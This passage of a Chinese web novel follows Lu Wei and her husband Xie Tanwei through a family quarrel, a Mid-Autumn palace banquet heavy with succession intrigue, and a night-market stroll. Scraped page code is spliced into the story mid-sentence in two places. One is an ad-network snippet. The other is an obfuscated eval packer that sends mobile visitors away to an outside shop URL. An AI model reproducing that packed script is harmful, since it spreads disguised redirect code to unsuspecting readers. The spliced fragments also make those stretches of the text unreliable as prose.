母亲在皇室的地位自不必说,只是他倒是头次见母亲提及宫闱,又是这般气定神闲的态度。而虽感惊疑,却已有一种踏实的感觉自心底蔓延,问道: “母亲连宫里的贵妃也认识?是因为去岁刚到咸京,应酬过安定县主的宴席么?” 李氏摇头笑笑,抬手拍了拍儿子的手臂:“娘自小也是在咸京长大的,又有幸辈分高些,大小事也知道不少。就算没有微微,娘也不可能看上这个安定县主做我谢家儿妇,你就安心吧! ” 谢探微本就因父母为他求亲赵家而感激不已,觉得能够弥补他二十五年来的一切憾事,此刻听到这番承诺,更不禁心情激荡,不知言表,唯是撩袍下跪:“谢母亲!” 李氏不料,忙将他扶起,心知这孩子性情直率分明,倒是惹人心疼,“傻孩子!以后再有难事就直接跟娘说,这京中人事,娘还是比你父亲明白些的。”又不禁感慨叹笑: “也是我儿风度出众,才至于看杀卫玠,为美所累了。” 谢探微不惯母亲夸耀,垂目一笑,心情已畅,便仍要走,可与母亲作辞之后,脚步却是转向了门外。 “还不去哄微微?做什么去?”李氏追问道。 他只侧身回话:“去……”却忽然望见连廊上站着二郎,四目相碰,倒不好再急着走了,“你也要出门?” 李氏也才随长子视线瞧见了二郎,笑道:“你们兄弟如今虽都住在一处,却也不常见,二郎近来勤勉,日夜读书,倒不大走动。”转对二郎又道: “若要出门就同你阿兄一道走吧,早些回来就是。” 谢探隐一无挪步的意思,不过脸上浮出浅笑,向母亲和长兄一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一行了礼,才道:“我只是路过,见阿娘和阿兄说话不敢打断。阿兄想是才回来,如何又要出去?” 谢探微却是笑着上前拉住了弟弟,“读书辛苦,也不要总闷在屋里,走!带你去个好地方。” 谢探隐万般意外,脸色一凝,但他刚刚是不敢打断,现下则是不能打断,只能由长兄拖去了。 李氏见状,掩不住一阵惊喜,这兄弟二人竟是从未如此亲密过的,“这孩子,倒也不必在此时和弟弟走了,好歹先顾着微微啊!”虽忍不住嗔怪,心里仍是赞许谢探微很有长君的担当,遂叫了从旁侍奉的叶新萝,吩咐道: “快去东院传话,就说我知道大郎鲁莽,已教训过了,叫微微别急,等大郎一回来就去给她赔礼。” …… 露微到底是一时之气,回房后就平静了下来。可正等着那人跟来,要向他解释父亲的用意,却见叶娘传话说他带着二郎出门了,于是心底又不免生出烦躁。 一是为这人专会误事,御前不管不顾,此时也不知想哪门子心思,主次不分,但更多的是为那位两幅面孔的二郎而生闷气。 自她上次与二郎私下挑明,倒见此人隐身了多日,却不信是就此悔改。而听叶娘描述起谢探微的举动,却又是做了真心错付而不自知的事,她也无法言明。 左右是闷滞难平,雪信丹渥端了午食进来,她也没动,就躺在榻上翻来覆去。然则,将将半个时辰,那人竟就回来了,脸上挂着干涩的笑,双手捧着一碗馄饨,喘息笃笃: “微微,你再恼我也不能不吃饭啊!” 露微已囫囵地坐起身,只是不知该恼该喜,呆看了片时,方问:“你去颁政坊买馄饨了?那也……也是带二郎去了?” 见露微还肯开口,他不由缓下一口气,将馄饨暂放,坐上榻沿,试图慢慢挪近,先覆住了一只手: “我上次问了乔娘,她说你见到馄饨就会开心,不管先前有何事都会忘记。二郎是巧遇上了才顺便带他去的。他没吃过,倒也新鲜,但一听说我是为你来的,便很明理懂事,没在铺里细尝,催着我一起带了回来。” 谁料,话刚说完,露微忽将手抽开了,反问道:“从前给他买饼餤,如今我喜欢的东西也带上他,求了我一路,看见他就不管我了,那你还来找我做什么?同他一起吃去便是了!” 谢探微原也预备着要被数落,可这话端怎么对准了二郎?且又提起饼餤的事,他也就买过那一回,露微却提了不止一回。也不仅是饼餤,似乎每次说到二郎,露微的口气都不太寻常。便细想来,难道是露微与二郎间有何矛盾? “微微,你是不是不喜欢二郎?他做了什么叫你不高兴的事么?”虽是猜想,他也已认定了大半,又觉自己甚少关心家事,越发惭愧,“你告诉我!不要一直憋在心里。” 露微至此方自悔失口失态,目光闪烁,侧避一旁,“我跟二郎能有什么事,话都没说过几句。” 他显然不信,抬手将露微身躯扶正,又追问:“那你刚刚只说我便是,为何怪他?他醉酒犯禁那次,你阻拦我替他受刑,又因你阿兄的事,拿这个作由头与我争论;后来病中好些,还说是嫉妒我给他买饼餤,没给你买;冬至和贤儿的事,你又觉得二郎会怪我偏帮外人。这许多事,我算到今天才回过神来,微微,你一定有事瞒着我!” 他原来桩桩件件都记得这样仔细,直说得露微心慌汗下,竟想不出解围的法子,“我没有!谁吵架的时候还想得那么周全!”只能以乱治乱了,抬高了声音,逼红了眼眶。 谢探微倒吸一口气,却也有些惊愕,“微微……” 露微见此法有效,心绪忽也松快了许多,不免赶紧将这话端挪开,“我就是烦你至今也没什么长进,遇事着急冲动,御前也敢乱来,我随太子去后宫,是阿耶交代的正事!我想告诉你吧,你又跑了,我能不生气吗?” 谢探微只顾着自己的隐情,果是不知她也有隐情,不觉喉中一咽,顿了顿方道:“何事啊?” 他神色已变,露微终作一笑,这才将父亲的想法细细说了一遍,“安定县主闯祸,陛下震怒,贵妃自是惶恐,以吴王为此事抱病,便能平衡县主之过,纵然陛下一时不顾,也定会觉得吴王有德。太子身为储君,若在此刻顾念孝悌,必能赢得朝野赞誉,那么无论贵妃出于何种心思,也都没用了。” 谢探微只知贵妃主动携女认罪是为了掩盖惊马伤人的真相,也就是安定县主因看中他而想要害死露微。可如此再看,这惊马的案子竟是周贵妃的一次失算,让女儿险些连累了儿子的前途。 没想到,刚刚了结了楚王逆案,朝中却还是暗流涌动。 “怎么?还是不懂?”见他凝神许久,露微倒觉得有些过度,伸手推了推他。 他却并非走神,亦不作声,只将露微紧紧搂进了怀里,耳鬓贴蹭,又不觉深深吸气,良晌才道:“微微,都是我的错,是我以己度人,小看了你。” 露微早已平静,听他耳语温存,也再无不可,“是啊,我可没你想得那么小家子气!但你也就是一碗馄饨的心思了。” 谢探微一笑,心绪无不透彻分明,侧脸在她耳畔缀下一吻,“正是这样。” 72.中秋 太子探望兄姊的举动果然得到了朝野称颂,同时也引起了后宫效法,当日便有嫔妃领了皇子公主去紫兰殿探望。皇帝自然高兴,却也止于归功太子,并无意原谅长女,也不曾驾临紫兰殿,连日反倒频频驾幸凝香殿。 露微听说这些消息,心如明镜,也深究不到余事,只为太子高兴。未有几日,另一桩喜事落定,也将她的心思分转了:晏令白为冬至与杨家过礼,终于到了请期这步,以杨家之意为准,将亲迎礼定在了本年十月初十。 当下已近中秋,算来倒还有两月之长。露微问起淑贤,方知还有一层考虑,便是杨淑真怀胎足月,大约是在九月前后临产,总要等长姊出月,一家人才好专心忙她的婚事。 露微听来却有恍悟之感,并非不记得淑真的产期,而是想到姚家,竟似是上辈子的事了。 “也有三四个月了,他可有家书传回来?”唇齿间滞涩启言,缓缓转成一叹,“仲芫独支门庭,想是辛苦,我有几次在皇城里瞧见他,他只是远远致意,并不愿多停。集贤殿是才俊荟聚之地,他资历不深,兄长又忽然外任,定有人猜测诟病的。” 淑贤今日来只是想分享喜悦,却不料惹露微想起旧事,可反一思索,就因杨家这层关系,因她们的情谊,露微此生怕也是做不成避秦客的,便也一叹,道: “阿耶阿兄都很关心姊夫,有他们在,不至于让人欺负姊夫。你也知他不是个软弱的人,又要做父亲了,一向是很有担当的。姚宜苏是有家书寄来,不过说些问候的话,无甚特别。” 露微于案上撑着腮,目光移向了窗外,满园绿意已稀,秋风似清密的纱,笼薄霭于台阁,布轻雾于剪水,总显得几分迷蒙,“那,兰儿呢?” 淑贤顿了顿,显露意料之中的无奈,还是答了:“身体饮食都好,也长高了,知道爱漂亮了。只是自她父亲走后,虽也改口认了长姊和姊夫做耶娘,却反比先前拘束些。不过阿姊不用太担心,这孩子原本就灵慧,等相处久了,会好的。” 这倒和露微想得不差,泽兰的身世注定她会是个早慧的孩子,淡淡一笑,转回脸来: “我没有担心,你长姊和姊夫还怕不稳妥吗?我只是前时在宫里见到了六皇子,今天又提到这些,忽然有些感慨。” 淑贤不解,问道:“兰儿和六皇子有什么关系啊?” “六皇子和兰儿是同年同月同日生的。”露微缓缓吸吐了口气,眉心微微一拧: “兰儿的母亲难产时,姚宜苏正在宫中备职,为一位嫔妃看产,后来皇子平安降生,兰儿却失去了母亲。那位小皇子就是六皇子,我还是听太子说起他的年纪才猜出来的。” 姚家的旧事大白后,淑贤也知这桩缘故,这才明白过来,“倒是巧了。” 露微点点头,继续道:“我一直以为是金氏命薄,没能等到姚宜苏回来,可后来才知是老夫人不让人传信,生生拖死了金氏一条命。所以那时陛下不曾追究姚宜苏,恐怕也有这层缘故。长辈作孽,金氏枉死,姚宜苏竭尽全力才保住兰儿,倒这么快就被女儿还了恩。姚宜苏离京前曾对我说,已不堪为人父,那神情我是信的。不论如何,他是爱这个女儿的,你们好歹要叫兰儿不能忘记他。” 淑贤听得心酸难忍,不觉红了眼眶,“兰儿连你都不曾忘,又怎至于忘记她的亲生父亲?放心吧。” 露微抿唇一笑,仍回望窗外,秋色已至薄暮了。 …… 中秋当日,皇帝设宴明光宫,这是每年的常例,在京六品以上文武官员及其家眷都有幸参宴。自然,也少不了露微。 只是与正月那场大宴不同的是,众人入宫后分去了两处,朝官由天子赐宴芙蓉殿,女眷则是后宫之首的周贵妃于承庆殿设席。二殿隔太液池相望,倒不算远。 露微已是谢家妇,自是随李氏和长姊一道去了承庆殿。见识过正月的场面,此处的气氛倒宽和得多。但因李氏的身份,宗亲之首便成了女眷之首,不及她们向高座之上的贵妃拜礼,一路上殿,就早已受足了旁人的礼。 露微自是不惯,满眼靓妆华服的贵妇美娘似乎都长成了一张脸,根本分辨不清,唯有学着谢探渺一一含笑还礼。等到终于入席,却也是跟着李氏坐在了左侧首席,与贵妃近在咫尺。 看来是不能乱动了。 “微微,别怕,想吃想玩,随便就是。”李氏似能看破她的心思,对她一笑,又抬手替她扶了扶鬟上的赤金凤钗。 自太子在婚礼那日赐下这支先皇后的凤钗,她戴了一日,便再也不敢轻易示人,唯恐损坏亵渎。今日原也不曾想到,还是李氏送了一套新做的衣裙来,又特意嘱咐她戴上的。 衣裙也正是一身郁金底色的齐腰襦裙,上襦绣了金线,下裙则以金缕裙为底,外罩了层轻软细薄的单丝碧罗纱。如此通身打扮下来,虽是将她衬得容光璀璨,环姿艳逸,在众目之下,却也叫她添了许多不自在。 “母亲,我知道,无事。”她也知是李氏一片宠爱之心,沉了沉心,回以微笑。 李氏这才放心,又看向坐在另侧的长女。谢探渺毕竟生长在谢家,纵是常年都在扬州,也有天然的从容。况且她也深知,今日赴宴,多是有戏可看,便也向母亲含笑示意。 “原来这就是郡主家的赵学士啊!上次过府不得见,今日一见果然生得仙姿玉貌,我家何时也能娶这样一位新妇就好咯!” “生得好就罢了,难得还是才貌双全,郡主真是好福气啊!” 忽有对面席上的几位贵妇抛来目光,言辞虽是对着李氏,可露微很快也反应过来,这大约就是她受伤时来谢家探望过的宗亲们,果然便听李氏笑着应道: “诸位王妃还年轻,世子们也还年少,便从现在起细细挑选,又何愁遇不上一个贴心的好孩子?”又转向露微,柔声示意: “这是岐王妃、庆王妃、汝南王妃。” 露微自是颔首起身行礼,但半途就被她们叫免了,又道是中秋节宴,图个喜乐,没那么多规矩。可停了没片刻,那三位中坐在下首的汝南王妃朱唇轻启,又道: “两位嫂嫂瞧,我是不是有些眼力,赵学士头上戴的凤钗就是惠文皇后之物吧?” 岐庆二妃闻言转目,又对视一笑,岐妃即道:“可不就是太子殿下亲赐的那支凤钗么?听闻陛下知晓后,也说很配得上赵学士呢。” 庆妃也不住点头:“是啊,原只知赵学士不过十七八的年纪,到底年轻柔弱些,可与这凤钗倒是相得益彰,真是天生的大家风度!” 说了几车天花乱坠的词,虽不必露微应对,却也叫她有架在火上炙烤之感。李氏也听得清清楚楚,却只是垂目抿笑,以了然的余光向露微传递安慰之意。 露微细细体察,倒并不是一味慌促,再着眼高座上的贵妃,凤目流转,钗影轻动,亦在和前来恭祝的人笑谈。本来这席间就是各有交错,她似乎真的像是不曾察觉。 然而,区区数步的距离,怎会不见,又怎能不言。露微才收目光,贵妃便向李氏主动邀酌,一如刚刚对旁人的和颜悦色: “与郡主上次相见,倒还是正月的宫宴上,郡主如今既长在京中,可要多走动才好。”杯中香醪反着一汪清冷的光,虽一语已落,也只微微荡漾,“郡主,请。” 李氏这才慢悠悠举杯,却只轻抿一口又放下了,“贵妃执掌六宫已有千头万绪要理,我怎好多去搅扰?倒是先前承蒙安定县主相邀,赴过几次燕集,莫不是这也是贵妃授意款待的?那我可要多敬贵妃几杯还礼了。” 方提到“安定县主”几个字,近前的席间便起了一阵私语低笑。露微亦一惊,竟从不觉李氏的口齿这样厉害:表面是恭维,却又暗指贵妃忙于内政,疏忽了儿女的教养,便也点破了安定县主不安于室的恣意行径,或也是上梁不正下梁歪的缘故。 这间隙,又有不知隐在何处的窃窃议论自身后钻入耳内: “谁不知安定县主是本朝第一个被降位的公主,从前那般争艳争强,今天都不敢露面,贵妃也只怕是强撑颜面在此主持呢!新安郡主是何等身份?伤了她家儿妇,岂能轻易过去了?” “就是!听说这一个月来 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自儿女家常谈论到儿女婚事,乍听倒是极平常的。可前列的这些贵妇,不是皇亲就是宫嫔,无不了解皇室女子再嫁的规矩,也无不知晓当下的情势。 没有子女的宗女是可以再嫁,但并非自行可以决定,却是要先上表陈奏,再经宗正寺审议处分,获得允准后才能议婚。可如安定县主这般临满丧期忽然闯祸被废,德行有亏的女子,就算报到宗正寺,天子也未必会同意。 毕竟,天子若存了恻隐之心,徇私之情,也不会以废位来惩罚长女——所以,李氏不过是在明告暗警地提醒贵妃,要好好管教自己的女儿,更休想她谢家的儿郎。 而果然,这番话的层层深意,都被一双双耳朵择取了自己能够理解的意思。尤其是周贵妃,所有的春秋笔法都了然于胸,只是宫灯明烛的辉映之下,她盛年的容色并不算很黯淡。 “郡主倒比我这个做娘的还心急,我只觉得再留她几年也无妨。”隔了半晌,贵妃方似不觉地说起,唇边依旧陪衬着端庄的笑意,眼波转动,复向露微浅浅送去,又道: “尤其是看到郡主家这位辅教东宫的女学士,倒让我想起要为阿循也择一位良师,才是要紧事。” 露微旁听到现在,李氏的旁敲侧击,席间的议论纷纭,乃至于贵妃的语态微妙,都已不再让她感到惊讶。她明白是无可避免的,而终于也提到了吴王了。 许是以为露微情怯,李氏自袖底牵住了她的手,方才继续说道:“贵妃如此说,想必也早有人选了吧?” 贵妃微一垂目,道:“这原是陛下先提起的,说阿循已足十二岁,不该再只学些蒙童的浅薄学问,朝中多有饱学之士,比如领袖群臣的谢中书。只不过,谢中书身兼吏部,辅国理政,实在太过繁忙,倒是阿循无福了。” 此事并无法求证,且此情此景,又更添了几分试探的嫌疑。可正当众人翘首以盼,等着贵妃下文时,忽有一位年长的妇人自席间站了起来,举杯上前敬道: “妾身恭祝娘娘芳颜永驻,万福安康。” 席间时有来往恭贺的人,但贵妃正与李氏交谈,先也不曾有人敢打断。露微正疑惑时,却忽见贵妃神色一扬,极赏脸地还敬了一杯,口中称道: “夫人太客气了,今后我儿还要多劳章侍中费心了。” 章侍中,满朝就只一个侍中,门下省的长官,左相章圣直。露微一下子就想起了这人的样貌,以及唯一一次见他时的场景:他当着谢道元拂袖而去,但谢道元只解释说是寻常的政见相左。 “微微,怎么了?是不是累了?” 许多猜测在心中缠绕,恍然回神,只见李氏担忧地看着她。然而李氏纵然通晓宫闱之事,也不当了解朝局,便也无从解释。 “母亲不要担心,我只是想到方才进来时,见廊庑间挂了些新奇式样的宫灯,想告个假去殿外瞧瞧。” 李氏自无不依,宽心一笑:“去吧,别走远,别去太黑的地方。” 73.儿弄 仅仅一墙之隔,殿内殿外却是两样天地,仍有通明的烛火透窗照来,只是廊庑间早已清光无限,也无需它共襄盛举。遥天之上银蟾乍涌,河汉之外桂影婆娑,仰望时久,不觉神驰,直待周身薄寒初浸,肩上却忽一惊颤—— “赵学士,更深露寒,当心着凉。” 目光由身上的氅衣缓缓抬起,方见面前人物,不是素娥霓裳,竟是婀娜凝香,“妾见过纪美人!美人万福。” 迟滞的片刻终是见礼未成,纪美人亦是独身而来,明眸善睐,倩笑颔首:“上回当着太子殿下不便多言,不想赵学士能记得我。” 露微自然不能说更多的缘故,但想来,刚刚席间关于她的议论不绝于耳,她应该也是清楚的,便大约也不必作暗室之谈。 “妾斗胆问,美人可是特意寻妾有话要吩咐?” 纪美人复一颔首:“因六郎一时顽皮,倒叫我无意承宠,我是不想争什么的。只是我也看得明白,此事实则不利于太子殿下,也恐怕波及了赵学士。” 她爽利至此,三两句话竟无不通达,露微纵有几分计较,也着实吃了一惊,不及回应,又听她道: “惠文皇后于我有恩,太子殿下于六郎有情,若今后有可效用之地,望赵学士不要忘了我。” “美人……美人言重了。”露微小心地暗暗舒气,眉头仍不自觉地拧着,“可是,可是如今,美人不也是众矢之的么?” 纪美人却是摇头:“我没有出身,六郎又年幼,贵妃再是防范,也不屑与我相争,否则我怎能有机会生下六郎?陛下也不会一直专宠于我的。” 表面上倒是此理不错,除了太子和六皇子,吴王还有三个弟弟,贵妃的手段和心思是用在别处的。 “太子殿下想也是因为美人和惠文皇后的旧故,才亲近美人的。妾侍奉殿下半年余,也不见他如此关心过别的嫔妃。殿下时常思念惠文皇后,也会羡慕别的兄弟姊妹有自己的娘,若美人今后能多多关顾,殿下必定是欢喜的。” 清风澹荡,将她鬓边垂下的银流苏带得微微摇晃,细长的线影恰好合上了她挺秀的鼻梁,将这张柔美的脸衬得几分坚刚,“正因如此,我才不能太过关顾。”她又抿唇一笑: “惠文皇后是陛下登基之年亲册的皇后,一直与陛下夫妻情笃,然而虽数度怀娠,却都因体弱而小产,直到开和九年才平安诞下太子。我便是那一年进宫的,当时只有十三岁,因思念家乡时常心神恍惚,皇后知道了不仅亲自宽慰,又命人做我家乡口味的饭食,还替我送了家书回去。因看我认得些文字,便又亲自教我诗书,传授礼仪。可以说,我是皇后一手调教的。” 露微不是第一次知道惠文皇后的贤德之名了,只是越发能想象得出这位贤后的形象,“那么,为何不能关顾太子呢?” 纪美人将脸孔转向玉阑之外,道:“陛下苦心为太子布局,朝堂上有赵太傅,谢中书,还有晏将军,都是太子的后盾,但吴王只有一个庸碌平常的舅父,京兆尹周崇,所以贵妃笼络左相章圣直,是想有分庭抗礼之势。” 露微再三未料,这位湮没深宫,名不见经传的美人,竟是一个能够窥破天机的女谋士,“美人是想隐蔽锋芒?”朝堂上已成太子之党,确实不能再添后宫前朝暗通款曲的嫌疑。 她终于认可,转过身来执起了露微的双手:“我既为太子,也有私心。作为母亲,我想陪我的六郎平安长大,作为受过皇后大恩的嫔妃,我也想见太子长大成人,登临践祚。所以倘若到了不能为之处,一定要记得我!我会一直为太子留心的。” 星河未转,月在天心,永夜正澄明。 “妾,铭记于心。” …… 宫宴罢时已将亥尽,只是中秋之夜与平素不同,全城解禁,夜市灯会,士民同欢。参宴的百官家眷之中,多有离宫后就去游逛的。谢探微更是早想好了,难得遇上解禁又无需备职,一在宫门汇合,便告了长辈,将露微带走了。 露微虽还不困倦,但因宫宴上的见闻,心中到底存了思虑。谢探微见她不大说话,有所觉察,暂避人流到一巷口询问起来。露微既无可隐瞒,也正可问他,便如实说了一遍。 “母亲那样宽和的人,不料今天对贵妃说话那般大胆,单为了我那件事,总觉太过了些。” 谢探微却是知道的,母亲答应了他要护着露微,劝慰道:“母亲从不会仗势压人,只不过是以你的事为由,借机警醒。母亲这样的出身,难道还不明白吴王和太子之间的缘故吗?” 露微原是觉得李氏不当了解朝局,可这样一想,后宫之事本就牵连着,李氏总不难看出表面上的瓜葛,点了点头,又道: “那你可知左相章圣直做了吴王师?纪美人的说法与我想到一处,我曾见过章侍中与父亲不合,恐怕今后还有事端。” 朝堂之事,谢探微自是近水楼台,道:“贵妃虽一时失势,但陛下本就重视皇子教养,此时由贵妃提出,请老师教导规正吴王,陛下怎会不许?这位章侍中确是两朝老臣,饱学知政,与吴王为师,是合适的。”顿了顿,又道: “微微,圣明烛照,不必做杞人之忧啊。” 露微其实不算忧虑,不过是倾诉心肠,此刻早已了然,仰面一笑,不再多言,夫妻携手仍融入了繁华之中。 这还是他们相识以来第一回夜市同游,没有一定的去处,就随着涌动的人流徐徐行进,遇上店肆设灯猜谜,就参加了几回,见到路旁摊贩叫卖,也驻足流连,总是欢愉不胜言表。 不知逛过几时,街头仍是人声喧闹,谢探微见露微脸上已热得泛红,替她将氅衣解了,搭在自己臂上,问道:“饿不饿?累不累?要不要找个地方歇歇?” 露微却摇头,兴致正浓,向左右环顾,见有一圈人拥在一处,想是什么新奇东西,拔脚就去了。谢探微也只得追上去,唯恐她被人撞到,两臂左右揽护,硬为她围出一块场地。 二人终于挤到前头,这才见原是一个贩卖儿弄之物的摊子,虽铺陈不大,种类倒有许多。有五彩的泥塑小狗、小龟、小兔子,也有唐图和难人木,还有形象奇特的布偶。 “微微,喜欢就买吧。”谢探微的眼睛早从摊子上转到了露微脸上,只见她倒是目不转睛,比先前逛过的所有店肆摊铺都显得有兴趣,便也没什么不懂的。 露微侧脸对他笑了笑,拣了一个泥塑小狗举到他眼前,“这个好像你啊!” 小狗直抵他鼻头,仰后半寸才能看清,倒是一副乖样,还有半截舌头吐在外头,“一只小花狗,我又不穿花衣裳,是你吧!”说着忽伸臂将露微腰身环住,贴耳又道:“不然回家寻件花衣裳我试试?若像再说。” 露微不料他无赖至此,忍笑忍得额上冒汗,用手肘顶了他几下。他却越发得意,又从摊上拿了只抹成金桂之色的小兔子,“这个像你,连衣裳都不用换了!” 他二人本就紧靠摊铺,这副夫妻情浓的样子便早就落在摊主眼中,又见这娘子的打扮异常华丽,少不得要恭维讨好,希冀多挣些银钱,便趁隙插话道: “贵人若是喜欢,就都带了去也罢!虽是不上台面的儿弄,也都是卑人和贱内一道亲手制画的。”咧嘴笑笑又道: “郎君和夫人这样年轻,想必燕尔新婚,坊间原也有个说法,若及早摆了这些在房里,便如庙里求了灵符一般,定会百子图开,将来生男总为卿相,生女则尽聘公王!” 咸京地界,纵是贩夫走卒也这般能言善道,直将他二人听得齐齐一愣,又双双脸烧心跳。尤其是露微,手上一僵,小花狗都跌落在地,转身想跑,又无力挤出去—— “微微。” 彷徨间听到他的低唤,似带有轻微的笑,露微不愿理会,却也只能将脸埋进他的胸膛,由他的身躯为自己隔开真切的嘈杂与想象的灼灼众目。 “你这话说得不错,可却说窄了,生意也便做窄了,难道儿弄之物只能给孩子玩不成?我家夫人喜欢的东西我一向有求必应,所以原还打算都买了的,可现在她不高兴了,我只能挑拣些了。” 就听他说了这样一番怪话,也不知挑了什么,直到一起避出了人群,露微才缓缓抬起头来: “他口角促狭,你还捧什么场?” 谢探微只见她羞色尚存,颊上红扑扑的,还偏拧着几分倔强,可爱得不行,笑道:“他为生计,一日不知要说多少这样的话,虽然确实冒失,我们不当真就好了。” 说着便举出麻纸包的几样玩物,道:“小狗和小兔子是我们的,剩下的四样,两个带给梦郎和徽儿,另外两个么,回去叫雪信送到姚家去,好不好?” 露微正看他是选了六样,却没想到还有分配,两个外甥倒是应该,却忽听“姚家”二字,气息都停了一瞬,“姚……” 谢探微分出手捋了捋她额前松下的细发,顺带刮了下她的鼻梁,轻声一笑:“这几个月你都不曾在我面前提过姚家的小女娃,但你怎么可能忘了她?况且,集贤殿就在内朝和中朝之间,我天天都能遇见姚宜若,便也记得,他马上就要做父亲了。不过,今天遇到这个摊子真是凑巧。” 其实露微从未对他避讳过往事,只是凡事有度,不必刻意说,也不必说到孩子身上。此刻除了感到意外,就愣怔着,姑且算是惭愧,却又太轻了。 谢探微见她神色凝滞,倒猜不出她的想法,暂收了物件,将她揽进了怀里,可触及的颊面脖颈的肌肤却是一片寒凉,便忙给她系上了氅衣,“也逛够了,回家好么?” 露微点点头,却从他手中自然地拿过了那包儿弄,“背我。” 谢探微仿佛早有准备,几乎同时就开始动作,却不是背人,而是打横抱起了她,“你在背后我瞧不见。” “可背着不是省力些么?又没带车马,还有好远呢。”他已经跨步,露微不过白说一句。 谢探微只是颇不在意地一笑,“你这点分量还是少操这个心,我上回抱过澈儿,也比你重些呢。” 露微不得不承认赵澈是长得结实,自小就能吃能睡的,便也无话可回,静了下去。 谢探微亦安稳走过数条街,只是不时垂目瞧上一眼,似见她睡着了,又恐她受风寒,唤了声:“微微,到家再睡。” 露微却未眠,闭目冥想,忽被打断,“我想事情呢,醒着的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963527|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “何事?”谢探微放了心,索性用交谈来防止她真睡,“明天我也无事,不如一道回去看看澈儿?” 露微晃了晃头,“我在想,那个商贩说得也不坏。” 谢探微顿下脚步,偏过头来看她,“怎么还在想这个?” 露微朝他眨着眼,异常平静,又道:“我们成婚那日,撒帐的时候,侍娘其实早就唱过了,‘五男二女,奴婢成行,男为卿相,女聘公王’,你不记得了?” 谢探微当时光顾着盯着露微了,根本就没长耳朵,嘴巴一抿,一时不知怎么回答。 露微仍认真地望着他:“五男二女太多了,儿女一双总要有的,你说呢?” “微微……”也没干什么,他嗓音突然哑了,又皱起眉来,似深思,似考究,忽道:“等我们有了孩子,就算再不成器,我也绝对不会将他送到千里之外,我会亲自带着他长大,教他成人!” 露微澄澈的眸子里涟漪渐起,“好。” …… 散宴后,贵妃回到紫兰殿,一班宫婢服侍她盥洗更衣了,却不见她叫歇下,只换了内侍王弘俦进来。 王弘俦一脸平和,见贵妃仍坐在妆台前凝思,轻道:“娘娘,那章侍中的夫人倒也算有些眼色,竟能够在新安郡主面前插话。看来,章侍中是个可以托付的人。” 螺钿镶嵌的华贵铜镜照出贵妃卸妆后寡淡的面孔,年近四十,于深宫中早已是美人迟暮,但她也不是今天才发觉,不过一笑: “什么托不托付,万事还得靠自己。要紧的是,他与谢道元都是先帝君元年间的进士,名次还远在谢道元之上,三十年的履历多半都在京师。先前赵维贞贬官,他就想争吏部之位,谁知陛下就提了谢道元来,如今又压他一头。他不服,我们正好借一借罢了。” 王弘俦的神色却略一紧,道:“谢家根基深厚,又有新安郡主背后的宗亲后盾,朝堂上是难以轻动的,所以陛下才会用谢道元去动楚逆。这一点,章圣直未必不知啊。” 贵妃自镜中瞥了王弘俦一眼,眉梢微微挑动,半晌却道:“你既说到那两个字,倒别忘了,你那义子可是让人家发觉了。” “娘娘!”王弘俦大惊下跪,直将额面掷地,惶惧不已,“可那小子已经死了,他们再查,手也伸不到后宫来啊。” 贵妃轻嗤一声,脸色冷了下去:“晏令白治军有道,虽是边将出身,却能将多半是世家子弟的金吾军管教得服服帖帖,又沾了谢家义父的名头,更是地位稳固。如此,他的暗查之权虽限于宫门之外,却不能掉以轻心。你难道这么快就忘了,柔儿的事是怎么被他发觉的?他已经知道有你这么个人了!所以,以后休再提那两个字,在这紫兰殿也不行!” 王弘俦早已浑身发抖再难抬头,贵妃不想再理,正要叫他下去,却忽见女儿李柔远走了进来,未有通传,开口便问: “王翁的义子就是尚食局当差的那个么?何时死了?” 贵妃眼色一凝,片刻后仍先遣走了王弘俦,将女儿招揽身侧,方道:“是他自己不当心做错了事,没挺过杖刑。近来事多,我警醒他们几句,莫再失了分寸,叫你父皇生气。” 顿了顿,望见女儿手上拿着帷帽,问道:“昨天你父皇才解了你的禁足,你不参宴也罢,倒又出宫去了?” 李柔远叹了声,将帷帽丢在一旁,倚向贵妃膝头:“外头的夜市可比宫宴热闹,散宴之后也有许多人去逛,就比如,谢探微和他那个才貌双全的娇妻。” 贵妃自上回和女儿交过些底,近日心思都在为儿子找老师上,倒也不算了解女儿究竟想怎样,“他们夫妻情好,新安郡主也甚是回护,你一时又能如何?” 李柔远脑中尽是方才街市所见的情形,她从未见过一个男人可以对妻子那般体贴,举动如同仆人小婢般精细,他们越是如胶似漆,她便越是妒火中烧。 缓缓收回心思,她却作一笑:“在宫里,有父皇宠爱的太子,便有我那不得宠的弟弟,谢家也是一样,有个谢探微,便有个籍籍无名二郎。我出宫的时候正巧在宫门也见了,倒也是个相貌堂堂的少年郎。阿娘何不去替我求求看?” 贵妃自然知晓谢家有两个儿子,也知道谢二郎尚无功名,跟长兄相比确实逊色,可女儿纵是想要退而求其次,又何必都到一家去呢?便很快也懂了: “你知道谢家必然不会肯,竟是想试探那个谢二郎?你笼络他又能有什么好处?” 李柔远道:“我是娘的女儿,娘在宫中筹谋,我也当学着娘,略尽绵力。或许,也不止是绵力呢?” …… 露微节后再入宫时,便听太子提起凝香殿的纪美人忽然染疾,皇帝遣了太医令陈自和负责看疗。 太子说来是为幼弟起了同病相怜之感,怕庶母和亲娘当年一般,一病不起,丢下年幼的孩子。然而露微却心如明镜,知道纪美人不过是称病避宠而已。 于是,她只是细细宽慰太子,提自己春天时的重病便是陈自和治愈的,果见太子放了心,也不免暗自感叹,这位纪美人当真算个奇女子,而此事,便也算是真正终结了惊马案后的种种波澜。 74.兰梦 当日为剿灭楚王的叛军私兵,皇帝受命甘州总管顾夷中领甘州军前去弹压。之后为示嘉许,除了官爵财帛的封赏,也留了他在咸京休养,至今已有三月,到了辞去之时。而同样要离开咸京的,还有崔为和江玥。 将军府因而设下送行宴,谢道元和李氏,一并谢探微、露微都到齐。就连赵维贞听闻,也因崔为、江玥救下露微一命,深念大恩,携了重礼前往赴宴。 